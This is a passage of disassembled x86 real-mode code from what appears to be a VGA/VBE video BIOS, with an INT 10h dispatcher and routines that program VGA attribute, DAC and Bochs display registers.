00039h ; 75 06 call 0052fh ; e8 f9 04 jmp near 000eah ; e9 b1 00 cmp ah, 00bh ; 80 fc 0b jne short 00044h ; 75 06 call 000ech ; e8 ab 00 jmp near 000eah ; e9 a6 00 cmp ax, 01103h ; 3d 03 11 jne short 0004fh ; 75 06 call 00426h ; e8 da 03 jmp near 000eah ; e9 9b 00 cmp ah, 012h ; 80 fc 12 jne short 00092h ; 75 3e cmp bl, 010h ; 80 fb 10 jne short 0005fh ; 75 06 call 00433h ; e8 d7 03 jmp near 000eah ; e9 8b 00 cmp bl, 030h ; 80 fb 30 jne short 0006ah ; 75 06 call 00456h ; e8 ef 03 jmp near 000eah ; e9 80 00 cmp bl, 031h ; 80 fb 31 jne short 00074h ; 75 05 call 004a9h ; e8 37 04 jmp short 000eah ; eb 76 cmp bl, 032h ; 80 fb 32 jne short 0007eh ; 75 05 call 004cbh ; e8 4f 04 jmp short 000eah ; eb 6c cmp bl, 033h ; 80 fb 33 jne short 00088h ; 75 05 call 004e9h ; e8 63 04 jmp short 000eah ; eb 62 cmp bl, 034h ; 80 fb 34 jne short 000dch ; 75 4f call 0050dh ; e8 7d 04 jmp short 000eah ; eb 58 cmp ax, 0101bh ; 3d 1b 10 je short 000dch ; 74 45 cmp ah, 010h ; 80 fc 10 jne short 000a1h ; 75 05 call 001a1h ; e8 02 01 jmp short 000eah ; eb 49 cmp ah, 04fh ; 80 fc 4f jne short 000dch ; 75 36 cmp AL, strict byte 003h ; 3c 03 jne short 000afh ; 75 05 call 007d2h ; e8 25 07 jmp short 000eah ; eb 3b cmp AL, strict byte 005h ; 3c 05 jne short 000b8h ; 75 05 call 007f7h ; e8 41 07 jmp short 000eah ; eb 32 cmp AL, strict byte 007h ; 3c 07 jne short 000c1h ; 75 05 call 00824h ; e8 65 07 jmp short 000eah ; eb 29 cmp AL, strict byte 008h ; 3c 08 jne short 000cah ; 75 05 call 00858h ; e8 90 07 jmp short 000eah ; eb 20 cmp AL, strict byte 009h ; 3c 09 jne short 000d3h ; 75 05 call 0088fh ; e8 be 07 jmp short 000eah ; eb 17 cmp AL, strict byte 00ah ; 3c 0a jne short 000dch ; 75 05 call 008e6h ; e8 0c 08 jmp short 000eah ; eb 0e push ES ; 06 push DS ; 1e pushaw ; 60 mov bx, 0c000h ; bb 00 c0 mov ds, bx ; 8e db call 03268h ; e8 81 31 popaw ; 61 pop DS ; 1f pop ES ; 07 popfw ; 9d iret ; cf cmp bh, 000h ; 80 ff 00 je short 000f7h ; 74 06 cmp bh, 001h ; 80 ff 01 je short 00148h ; 74 52 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 push DS ; 1e mov dx, strict word 00040h ; ba 40 00 mov ds, dx ; 8e da mov dx, 003dah ; ba da 03 in AL, DX ; ec cmp byte [word 00049h], 003h ; 80 3e 49 00 03 jbe short 0013bh ; 76 2f mov dx, 003c0h ; ba c0 03 mov AL, strict byte 000h ; b0 00 out DX, AL ; ee db 08ah, 0c3h ; mov al, bl ; 8a c3 and AL, strict byte 00fh ; 24 0f test AL, strict byte 008h ; a8 08 je short 0011ch ; 74 02 add AL, strict byte 008h ; 04 08 out DX, AL ; ee mov CL, strict byte 001h ; b1 01 and bl, 010h ; 80 e3 10 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0efh ; 24 ef db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 004h ; 80 f9 04 jne short 00122h ; 75 e7 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop DS ; 1f pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov CL, strict byte 001h ; b1 01 and bl, 001h ; 80 e3 01 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0feh ; 24 fe db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 004h ; 80 f9 04 jne short 00155h ; 75 e7 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push DS ; 1e mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 push bx ; 53 mov bx, strict word 00062h ; bb 62 00 mov al, byte [bx] ; 8a 07 pop bx ; 5b db 08ah, 0f8h ; mov bh, al ; 8a f8 push bx ; 53 mov bx, 00087h ; bb 87 00 mov ah, byte [bx] ; 8a 27 and ah, 080h ; 80 e4 80 mov bx, strict word 00049h ; bb 49 00 mov al, byte [bx] ; 8a 07 db 00ah, 0c4h ; or al, ah ; 0a c4 mov bx, strict word 0004ah ; bb 4a 00 mov ah, byte [bx] ; 8a 27 pop bx ; 5b pop DS ; 1f retn ; c3 cmp AL, strict byte 000h ; 3c 00 jne short 001a7h ; 75 02 jmp short 00208h ; eb 61 cmp AL, strict byte 001h ; 3c 01 jne short 001adh ; 75 02 jmp short 00226h ; eb 79 cmp AL, strict byte 002h ; 3c 02 jne short 001b3h ; 75 02 jmp short 0022eh ; eb 7b cmp AL, strict byte 003h ; 3c 03 jne short 001bah ; 75 03 jmp near 0025fh ; e9 a5 00 cmp AL, strict byte 007h ; 3c 07 jne short 001c1h ; 75 03 jmp near 00289h ; e9 c8 00 cmp AL, strict byte 008h ; 3c 08 jne short 001c8h ; 75 03 jmp near 002b1h ; e9 e9 00 cmp AL, strict byte 009h ; 3c 09 jne short 001cfh ; 75 03 jmp near 002bfh ; e9 f0 00 cmp AL, strict byte 010h ; 3c 10 jne short 001d6h ; 75 03 jmp near 00304h ; e9 2e 01 cmp AL, strict byte 012h ; 3c 12 jne short 001ddh ; 75 03 jmp near 0031dh ; e9 40 01 cmp AL, strict byte 013h ; 3c 13 jne short 001e4h ; 75 03 jmp near 00345h ; e9 61 01 cmp AL, strict byte 015h ; 3c 15 jne short 001ebh ; 75 03 jmp near 0038ch ; e9 a1 01 cmp AL, strict byte 017h ; 3c 17 jne short 001f2h ; 75 03 jmp near 003a7h ; e9 b5 01 cmp AL, strict byte 018h ; 3c 18 jne short 001f9h ; 75 03 jmp near 003cfh ; e9 d6 01 cmp AL, strict byte 019h ; 3c 19 jne short 00200h ; 75 03 jmp near 003dah ; e9 da 01 cmp AL, strict byte 01ah ; 3c 1a jne short 00207h ; 75 03 jmp near 003e5h ; e9 de 01 retn ; c3 cmp bl, 014h ; 80 fb 14 jnbe short 00225h ; 77 18 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee db 08ah, 0c7h ; mov al, bh ; 8a c7 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push bx ; 53 mov BL, strict byte 011h ; b3 11 call 00208h ; e8 dc ff pop bx ; 5b retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003dah ; ba da 03 in AL, DX ; ec mov CL, strict byte 000h ; b1 00 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 010h ; 80 f9 10 jne short 0023dh ; 75 f1 mov AL, strict byte 011h ; b0 11 out DX, AL ; ee mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0f7h ; 24 f7 and bl, 001h ; 80 e3 01 sal bl, 003h ; c0 e3 03 db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 cmp bl, 014h ; 80 fb 14 jnbe short 002b0h ; 77 22 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0f8h ; mov bh, al ; 8a f8 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 mov BL, strict byte 011h ; b3 11 call 00289h ; e8 d1 ff db 08ah, 0c7h ; mov al, bh ; 8a c7 pop bx ; 5b db 08ah, 0f8h ; mov bh, al ; 8a f8 pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov CL, strict byte 000h ; b1 00 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 010h ; 80 f9 10 jne short 002c7h ; 75 e7 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 011h ; b0 11 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c8h ; ba c8 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee mov dx, 003c9h ; ba c9 03 pop ax ; 58 push ax ; 50 db 08ah, 0c4h ; mov al, ah ; 8a c4 out DX, AL ; ee db 08ah, 0c5h ; mov al, ch ; 8a c5 out DX, AL ; ee db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003c8h ; ba c8 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003c9h ; ba c9 03 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 dec cx ; 49 jne short 0032eh ; 75 ee pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and bl, 001h ; 80 e3 01 jne short 00368h ; 75 0d and AL, strict byte 07fh ; 24 7f sal bh, 007h ; c0 e7 07 db 00ah, 0c7h ; or al, bh ; 0a c7 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee jmp short 00381h ; eb 19 push ax ; 50 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee pop ax ; 58 and AL, strict byte 080h ; 24 80 jne short 0037bh ; 75 03 sal bh, 002h ; c0 e7 02 and bh, 00fh ; 80 e7 0f db 08ah, 0c7h ; mov al, bh ; 8a c7 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c7h ; ba c7 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop ax ; 58 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov dx, 003c9h ; ba c9 03 in AL, DX ; ec xchg al, ah ; 86 e0 push ax ; 50 in AL, DX ; ec db 08ah, 0e8h ; mov ch, al ; 8a e8 in AL, DX ; ec db 08ah, 0c8h ; mov cl, al ; 8a c8 pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003c7h ; ba c7 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003c9h ; ba c9 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 dec cx ; 49 jne short 003b8h ; 75 ee pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c6h ; ba c6 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c6h ; ba c6 03 in AL, DX ; ec db 08ah, 0d8h ; mov bl, al ; 8a d8 pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0d8h ; mov bl, al ; 8a d8 shr bl, 007h ; c0 eb 07 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0f8h ; mov bh, al ; 8a f8 and bh, 00fh ; 80 e7 0f test bl, 001h ; f6 c3 01 jne short 00415h ; 75 03 shr bh, 002h ; c0 ef 02 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c4h ; ba c4 03 db 08ah, 0e3h ; mov ah, bl ; 8a e3 mov AL, strict byte 003h ; b0 03 out DX, ax ; ef pop dx ; 5a pop ax ; 58 retn ; c3 push DS ; 1e push ax ; 50 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 db 032h, 0edh ; xor ch, ch ; 32 ed mov bx, 00088h ; bb 88 00 mov cl, byte [bx] ; 8a 0f and cl, 00fh ; 80 e1 0f mov bx, strict word 00063h ; bb 63 00 mov ax, word [bx] ; 8b 07 mov bx, strict word 00003h ; bb 03 00 cmp ax, 003b4h ; 3d b4 03 jne short 00453h ; 75 02 mov BH, strict byte 001h ; b7 01 pop ax ; 58 pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 mov bx, 00088h ; bb 88 00 mov ah, byte [bx] ; 8a 27 cmp dl, 001h ; 80 fa 01 je short 00484h ; 74 15 jc short 0048eh ; 72 1d cmp dl, 002h ; 80 fa 02 je short 00478h ; 74 02 jmp short 004a2h ; eb 2a and AL, strict byte 07fh ; 24 7f or AL, strict byte 010h ; 0c 10 and ah, 0f0h ; 80 e4 f0 or ah, 009h ; 80 cc 09 jne short 00498h ; 75 14 and AL, strict byte 06fh ; 24 6f and ah, 0f0h ; 80 e4 f0 or ah, 009h ; 80 cc 09 jne short 00498h ; 75 0a and AL, strict byte 0efh ; 24 ef or AL, strict byte 080h ; 0c 80 and ah, 0f0h ; 80 e4 f0 or ah, 008h ; 80 cc 08 mov bx, 00089h ; bb 89 00 mov byte [bx], al ; 88 07 mov bx, 00088h ; bb 88 00 mov byte [bx], ah ; 88 27 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 sal dl, 003h ; c0 e2 03 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0f7h ; 24 f7 db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push bx ; 53 push dx ; 52 db 08ah, 0d8h ; mov bl, al ; 8a d8 and bl, 001h ; 80 e3 01 xor bl, 001h ; 80 f3 01 sal bl, 1 ; d0 e3 mov dx, 003cch ; ba cc 03 in AL, DX ; ec and AL, strict byte 0fdh ; 24 fd db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 xor dl, 001h ; 80 f2 01 sal dl, 1 ; d0 e2 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0fdh ; 24 fd db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 xor dl, 001h ; 80 f2 01 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0feh ; 24 fe db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 cmp AL, strict byte 000h ; 3c 00 je short 00538h ; 74 05 cmp AL, strict byte 001h ; 3c 01 je short 0054dh ; 74 16 retn ; c3 push DS ; 1e push ax ; 50 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 0008ah ; bb 8a 00 mov al, byte [bx] ; 8a 07 db 08ah, 0d8h ; mov bl, al ; 8a d8 db 032h, 0ffh ; xor bh, bh ; 32 ff pop ax ; 58 db 08ah, 0c4h ; mov al, ah ; 8a c4 pop DS ; 1f retn ; c3 push DS ; 1e push ax ; 50 push bx ; 53 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 db 08bh, 0c3h ; mov ax, bx ; 8b c3 mov bx, 0008ah ; bb 8a 00 mov byte [bx], al ; 88 07 pop bx ; 5b pop ax ; 58 db 08ah, 0c4h ; mov al, ah ; 8a c4 pop DS ; 1f retn ; c3 times 0xe db 0 do_out_dx_ax: ; 0xc0570 LB 0x7 xchg ah, al ; 86 c4 out DX, AL ; ee xchg ah, al ; 86 c4 out DX, AL ; ee retn ; c3 do_in_ax_dx: ; 0xc0577 LB 0x40 in AL, DX ; ec xchg ah, al ; 86 c4 in AL, DX ; ec retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec test AL, strict byte 008h ; a8 08 je short 00581h ; 74 fb pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec test AL, strict byte 008h ; a8 08 jne short 0058eh ; 75 fb pop dx ; 5a pop ax ; 58 retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 d0 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 d1 ff cmp AL, strict byte 004h ; 3c 04 jbe short 005b5h ; 76 0b db 08ah, 0e0h ; mov ah, al ; 8a e0 shr ah, 003h ; c0 ec 03 test AL, strict byte 007h ; a8 07 je short 005b5h ; 74 02 db 0feh, 0c4h ; inc ah ; fe c4 pop dx ; 5a retn ; c3 _dispi_get_max_bpp: ; 0xc05b7 LB 0x26 push dx ; 52 push bx ; 53 call 005f1h ; e8 35 00 db 08bh, 0d8h ; mov bx, ax ; 8b d8 or ax, strict byte 00002h ; 83 c8 02 call 005ddh ; e8 19 00 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 a3 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 a4 ff push ax ; 50 db 08bh, 0c3h ; mov ax, bx ; 8b c3 call 005ddh ; e8 04 00 pop ax ; 58 pop bx ; 5b pop dx ; 5a retn ; c3 dispi_set_enable_: ; 0xc05dd LB 0x26 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00004h ; b8 04 00 call 00570h ; e8 88 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 81 ff pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00004h ; b8 04 00 call 00570h ; e8 75 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 76 ff pop dx ; 5a retn ; c3 dispi_set_bank_: ; 0xc0603 LB 0x26 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00005h ; b8 05 00 call 00570h ; e8 62 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 5b ff pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00005h ; b8 05 00 call 00570h ; e8 4f ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 50 ff pop dx ; 5a retn ; c3 _dispi_set_bank_farcall: ; 0xc0629 LB 0xa9 cmp bx, 00100h ; 81 fb 00 01 je short 00653h ; 74 24 db 00bh, 0dbh ; or bx, bx ; 0b db jne short 00665h ; 75 32 db 08bh, 0c2h ; mov ax, dx ; 8b c2 push dx ; 52 push ax ; 50 mov ax, strict word 00005h ; b8 05 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 30 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 29 ff call 00577h ; e8 2d ff pop dx ; 5a db 03bh, 0d0h ; cmp dx, ax ; 3b d0 jne short 00665h ; 75 16 mov ax, strict word 0004fh ; b8 4f 00 retf ; cb mov ax, strict word 00005h ; b8 05 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 14 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 15 ff db 08bh, 0d0h ; mov dx, ax ; 8b d0 retf ; cb mov ax, 0014fh ; b8 4f 01 retf ; cb push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00008h ; b8 08 00 call 00570h ; e8 fc fe pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 f5 fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00008h ; b8 08 00 call 00570h ; e8 e9 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 ea fe pop dx ; 5a retn ; c3 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00009h ; b8 09 00 call 00570h ; e8 d6 fe pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 cf fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00009h ; b8 09 00 call 00570h ; e8 c3 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 c4 fe pop dx ; 5a retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 db 08bh, 0d8h ; mov bx, ax ; 8b d8 call 00596h ; e8 d9 fe cmp AL, strict byte 004h ; 3c 04 jnbe short 006c3h ; 77 02 shr bx, 1 ; d1 eb shr bx, 003h ; c1 eb 03 mov dx, 003d4h ; ba d4 03 db 08ah, 0e3h ; mov ah, bl ; 8a e3 mov AL, strict byte 013h ; b0 13 out DX, ax ; ef pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 _vga_compat_setup: ; 0xc06d2 LB 0xed push ax ; 50 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00001h ; b8 01 00 call 00570h ; e8 93 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 94 fe push ax ; 50 mov dx, 003d4h ; ba d4 03 mov ax, strict word 00011h ; b8 11 00 out DX, ax ; ef pop ax ; 58 push ax ; 50 shr ax, 003h ; c1 e8 03 dec ax ; 48 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov AL, strict byte 001h ; b0 01 out DX, ax ; ef pop ax ; 58 call 006b5h ; e8 bb ff mov dx, 001ceh ; ba ce 01 mov ax, strict word 00002h ; b8 02 00 call 00570h ; e8 6d fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 6e fe dec ax ; 48 push ax ; 50 mov dx, 003d4h ; ba d4 03 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov AL, strict byte 012h ; b0 12 out DX, ax ; ef pop ax ; 58 mov AL, strict byte 007h ; b0 07 out DX, AL ; ee inc dx ; 42 in AL, DX ; ec and AL, strict byte 0bdh ; 24 bd test ah, 001h ; f6 c4 01 je short 00722h ; 74 02 or AL, strict byte 002h ; 0c 02 test ah, 002h ; f6 c4 02 je short 00729h ; 74 02 or AL, strict byte 040h ; 0c 40 out DX, AL ; ee mov dx, 003d4h ; ba d4 03 mov ax, strict word 00009h ; b8 09 00 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec and AL, strict byte 060h ; 24 60 out DX, AL ; ee mov dx, 003d4h ; ba d4 03 mov AL, strict byte 017h ; b0 17 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec or AL, strict byte 003h ; 0c 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec or AL, strict byte 001h ; 0c 01 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003ceh ; ba ce 03 mov ax, 00506h ; b8 06 05 out DX, ax ; ef mov dx, 003c4h ; ba c4 03 mov ax, 00f02h ; b8 02 0f out DX, ax ; ef mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 fd fd mov dx, 001cfh ; ba cf 01 call 00577h ; e8 fe fd cmp AL, strict byte 008h ; 3c 08 jc short 007bdh ; 72 40 mov dx, 003d4h ; ba d4 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec or AL, strict byte 040h ; 0c 40 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec or AL, strict byte 040h ; 0c 40 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003c4h ; ba c4 03 mov AL, strict byte 004h ; b0 04 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec or AL, strict byte 008h ; 0c 08 out DX, AL ; ee mov dx, 003ceh ; ba ce 03 mov AL, strict byte 005h ; b0 05 out DX, AL ; ee mov dx, 003cfh ; ba cf 03 in AL, DX ; ec and AL, strict byte 09fh ; 24 9f or AL, strict byte 040h ; 0c 40 out DX, AL ; ee pop dx ; 5a pop ax ; 58 _vbe_has_vbe_display: ; 